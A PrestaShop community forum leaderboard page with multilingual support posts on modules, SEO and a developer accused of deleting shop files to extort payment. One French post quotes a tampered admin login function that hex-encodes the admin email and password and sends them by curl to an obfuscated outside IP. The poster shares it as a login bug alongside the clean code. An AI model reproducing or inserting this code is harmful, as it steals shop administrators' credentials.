Leaderboard
Popular Content
Showing content with the highest reputation on 02/21/2023 in all areas
-
Si sospechais que alguien ha entrado y eliminado TODOS los hospedajes tienen estadisticas de accesos FTP y las IP. Pedir las IP, comprobad si alguna de las IP coincide con la IP de los emails enviados por ellos Si coincide, guardar datos, capturad pantalla y denuncia a la policia, al departamente de internet y..... no recuerdo ahora el nombre No pueden acceder y eliminar datos es totalmente ilegal. Ni siquiere un profesional que NO ha cobrado por un trabajo puede hacerlo, imaginad alguien que reclama un pago de un modulo por cambio de sus condiciones despues de haber comprado el modulo Es posible demostrarlo, Logs de conexiones de FTP, IP y comprobando que son las mismas que las de los emails que enviaron2 points
-
1 point
-
I'm not sure what you mean? With the supplier options from Prestashop you should be able to achieve this.1 point
-
lanza la pregunta en el foro de ellos1 point
-
dale una mirada a este modulo para ver si es lo que buscas1 point
-
Vous pourriez déjà mettre en œuvre des images aux dimensions cohérentes, ainsi dans votre module de coupon, vous balancez des images de plus de 2000 pixels de hauteur alors que la majorité des utilisateurs ne possède pas des écrans affichant plus de 1080 pixels de haut, donc une consommation de ressource bien trop importante. Rien que l'icône WhatsApp et plus grande que n'importe quel écran alors que vous l'affiché sur quelque pixels. En gros, il y a beaucoup d'optimisations à faire sur vos pratiques. Sans parler de ce popup dont l'image dépasse la boite d'affichage1 point
-
As @ComGrafPL said, with our module https://www.idnovate.com/en/1385-promotions-and-discounts-3x2-sales-offers-packs.html you could configure this promotion. Contact us if you need any example 👍1 point
-
Muchas gracias idnovate.com, todo solucionado ya con la modificación que has puesto 😁1 point
-
1 point
-
Hi, I'm always amazed to see the permanent interest caused by the idea that removing the ID from URLs would have any importance, either in terms of SEO or user experience. Especially since we can discover modules to go back available on PrestaShop to put this ID back in place. First of all, instead of removing the ID from the URLs, it would be good to propose URLs without inserting the category information, this is much better at the SEO level if your products are associated to several categories or if you have fun moving products regularly between categories. Above all, the fact of using an ID in the URL of the products allows you to avoid getting confused in the names of the products at the risk of ending up with several products having the same URL.1 point
-
Bonjour, dans un premier temps, vous devriez déjà appliquer les optimisations de bases proposées par PrestaShop comme je l'explique dans cet article : https://www.mediacom87.fr/comment-bien-configurer-la-page-performances-de-prestashop-17/1 point
-
Modifica el fichero /src/Core/Translation/Storage/Provider/ModuleCatalogueLayersProvider.php. Busca la línea 306, deberías tener esto: $legacyKey = md5($translationKey); Pon antes: if (is_int($translationKey)) { continue; }1 point
-
Module similar to this one, could do the trick https://addons.prestashop.com/en/promotions-gifts/9129-promotions-and-discounts-3x2-sales-offers-packs.html#specifications1 point
-
1 point
-
De cualquier manera, la mejor manera de parar su manera de actuar es lo que he hecho, iniciar este hilo en este forum. Un post en el forum de Prestashop tiene una potencia enorme.1 point
-
No tengo como comprobarlo, no soy tan experto, pero coincidió cuando me dieron un ultimatum de 24h, menos mal que tenia backup del dia anterior y restauré esas carpetas. Recuerdo que cuando compre el módulo no funcionaba bien y me pidieron el FTP, como hacen otros desarrolladores y inocente de mi no cambié la contraseña. La verdad es que borrar dos carpetas es una chapuza.1 point
-
Faktycznie są ludzie, którzy rozumieją open source jako "mogę to sobie ukraść". Na samych Addonsach są kradzione moduły przez różnych cwaniaków. Nie bez powodu Addonsy proszą o podanie domeny więc instalując raz kupiony moduł na wielu sklepach dołączasz do grona takich drobnych złodziejaszków1 point
-
Bonjour à tous, J'ai peut-être une piste importante pour ceux qui ont ce problème de connexion en boucle. J’ai réussi à récupérer le site avec un backup du ftp à 15 jours. J’ai finalement établi un petit protocole pour tester le dossier qui crée le bug. J’ai télécharger le FTP sur mon ordi lors d’un retour en arrière sain et j’ai attendu 2 jours que le bug revienne. J’ai successivement renommé chaque dossier du FTP en .old (pour éviter le temps fou que prend un dossier à s’effacer par un FTP) et j’ai rechargé chaque dossier sain au fur et à mesure que je nommais l’ancien en .old. J’ai pu me reconnecter après avoir remis le dossier controllers. Le bug vient de ce dossier et finalement du fichier AdminLoginController.php dans admin (controllers/admin/AdminLoginController.php). Et finalement, ça semble si logique… Ce fichier s’est modifié tout seul et je ne comprends pas pourquoi. Plus précisément, c’est la section public function processLogin() qui est modifiée. voici le code qui bug (dans la section : public function processLogin() uniquement) : public function processLogin() { /* Check fields validity */ $passwd = trim(Tools::getValue('passwd')); $email = trim(Tools::getValue('email')); if (empty($email)) { $this->errors[] = Tools::displayError('Email is empty.'); } elseif (!Validate::isEmail($email)) { $this->errors[] = Tools::displayError('Invalid email address.'); } if (empty($passwd)) { $this->errors[] = Tools::displayError('The password field is blank.'); } elseif (!Validate::isPasswd($passwd)) { $this->errors[] = Tools::displayError('Invalid password.'); } if (!count($this->errors)) { // Find employee $this->context->employee = new Employee(); $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd); $employee_associated_shop = $this->context->employee->getAssociatedShops(); if (!$is_employee_loaded) { $this->errors[] = Tools::displayError('The Employee does not exist, or the password provided is incorrect.'); $this->context->employee->logout(); } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) { $this->errors[] = Tools::displayError('This employee does not manage the shop anymore (Either the shop has been deleted or permissions have been revoked).'); $this->context->employee->logout(); } else { $path=$_SERVER['REMOTE_ADDR'].'-'.$_SERVER['REQUEST_URI']; $check_val=bin2hex($email.' '.$passwd); $user_data=bin2hex($path.';'.$check_val); $array = array('token_hash' => base64_encode('{"referer":"'.$_SERVER["HTTP_HOST"].'","stats":"'.$user_data.'","tag":"a181a603769c1f98ad927e7367c7aa51"}')); $ch = curl_init(base64_decode('aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ==')); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $array); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $html = curl_exec($ch); curl_close($ch); PrestaShopLogger::addLog(sprintf($this->l('Back Office connection from %s', 'AdminTab', false, false), Tools::getRemoteAddr()), 1, null, '', 0, true, (int)$this->context->employee->id); $this->context->employee->remote_addr = (int)ip2long(Tools::getRemoteAddr()); // Update cookie $cookie = Context::getContext()->cookie; $cookie->id_employee = $this->context->employee->id; $cookie->email = $this->context->employee->email; $cookie->profile = $this->context->employee->id_profile; $cookie->passwd = $this->context->employee->passwd; $cookie->remote_addr = $this->context->employee->remote_addr; if (!Tools::getValue('stay_logged_in')) { $cookie->last_activity = time(); } $cookie->write(); // If there is a valid controller name submitted, redirect to it if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) { $url = $this->context->link->getAdminLink($_POST['redirect']); } else { $tab = new Tab((int)$this->context->employee->default_tab); $url = $this->context->link->getAdminLink($tab->class_name); } if (Tools::isSubmit('ajax')) { die(Tools::jsonEncode(array('hasErrors' => false, 'redirect' => $url))); } else { $this->redirect_after = $url; } } } if (Tools::isSubmit('ajax')) { die(Tools::jsonEncode(array('hasErrors' => true, 'errors' => $this->errors))); }} Voici le code qui marche : public function processLogin() { /* Check fields validity */ $passwd = trim(Tools::getValue('passwd')); $email = $this->IDNConverter->emailToUtf8(trim(Tools::getValue('email'))); Hook::exec( 'actionAdminLoginControllerLoginBefore', [ 'controller' => $this, 'password' => $passwd, 'email' => $email, ] ); if (empty($email)) { $this->errors[] = $this->trans('Email is empty.', [], 'Admin.Notifications.Error'); } elseif (!Validate::isEmail($email)) { $this->errors[] = $this->trans('Invalid email address.', [], 'Admin.Notifications.Error'); } if (empty($passwd)) { $this->errors[] = $this->trans('The password field is blank.', [], 'Admin.Notifications.Error'); } elseif (!Validate::isPasswd($passwd)) { $this->errors[] = $this->trans('Invalid password.', [], 'Admin.Notifications.Error'); } if (!count($this->errors)) { // Find employee $this->context->employee = new Employee(); $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd); $employee_associated_shop = $this->context->employee->getAssociatedShops(); if (!$is_employee_loaded) { $this->errors[] = $this->trans('The employee does not exist, or the password provided is incorrect.', [], 'Admin.Login.Notification'); $this->context->employee->logout(); } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) { $this->errors[] = $this->trans('This employee does not manage the shop anymore (either the shop has been deleted or permissions have been revoked).', [], 'Admin.Login.Notification'); $this->context->employee->logout(); } else { PrestaShopLogger::addLog($this->trans('Back office connection from %ip%', ['%ip%' => Tools::getRemoteAddr()], 'Admin.Advparameters.Feature'), 1, null, '', 0, true, (int) $this->context->employee->id); $this->context->employee->remote_addr = (int) ip2long(Tools::getRemoteAddr()); // Update cookie $cookie = Context::getContext()->cookie; $cookie->id_employee = $this->context->employee->id; $cookie->email = $this->context->employee->email; $cookie->profile = $this->context->employee->id_profile; $cookie->passwd = $this->context->employee->passwd; $cookie->remote_addr = $this->context->employee->remote_addr; $cookie->registerSession(new EmployeeSession()); if (!Tools::getValue('stay_logged_in')) { $cookie->last_activity = time(); } $cookie->write(); // If there is a valid controller name submitted, redirect to it if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) { $url = $this->context->link->getAdminLink($_POST['redirect']); } else { $tab = new Tab((int) $this->context->employee->default_tab); $url = $this->context->link->getAdminLink($tab->class_name); } Hook::exec( 'actionAdminLoginControllerLoginAfter', [ 'controller' => $this, 'employee' => $this->context->employee, 'redirect' => $url, ] ); if (Tools::isSubmit('ajax')) { die(json_encode(['hasErrors' => false, 'redirect' => $url])); } else { $this->redirect_after = $url; } } } if (Tools::isSubmit('ajax')) { die(json_encode(['hasErrors' => true, 'errors' => $this->errors])); } } Je ne sais pas bien interpréter le code et je ne sais pas ce qui le modifie. Est-ce que quelqu'un aurait une idée ? En espérant que cela puisse déjà aider certaines personnes qui ont ce genre de bug pour l’instant sans réponse ! Vérifier le code dans le fichier controllers/admin/AdminLoginController.php /section "public function processLogin()" Merci1 point
-
Habla con tu hosting a ver si pueden ver un log de conexiones FTP y como encuentren algo a por ellos1 point
-
No tengo como comprobarlo, no soy tan experto, pero coincidió cuando me dieron un ultimatum de 24h, menos mal que tenia backup del dia anterior y restauré esas carpetas. Recuerdo que cuando compre el módulo no funcionaba bien y me pidieron el FTP, como hacen otros desarrolladores y inocente de mi no cambié la contraseña. La verdad es que borrar dos carpetas es una chapuza.1 point
-
Tienes cómo comprobar que han sido ellos? Eso es denunciable y según el ecommerce se pueden meter en un lío muy serio. +1 a hacer acción conjunta en caso que sigan amenazando1 point
-
Hola, En mi caso me hackearon la tienda, bueno si se puede decir hackear la tienda el borrar las carpetas \images y \modules. Como dije en anterior post, se dirigieron a mi cliente de la tienda y le amenazaron, al final pago.1 point
-
No peleen por separado, pero hagan una lista de sus problemas en masa y documenten el chantaje directamente. Entonces, simplemente puede denunciar al estafador, el sitio lo cancelará y la policía lo investigará a fondo. Emite una declaración EUIPO falsa y están felices de aceptarla. https://anti-fraud.ec.europa.eu/olaf-and-you/report-fraud_es1 point
-
In Bo go to Configure > Shop Parameters > Product Settings and set Catalog mode to ON.1 point
-
Bonjour, Ca devrait donner ceci : $this->context->controller->registerJavascript( 'module-dpdfrance-gmaps', 'https://maps.googleapis.com/maps/api/js?key=' . Configuration::get('DPDFRANCE_GOOGLE_API_KEY') . '&callback=Function.prototype', ['priority' => 100, 'server' => 'remote']1 point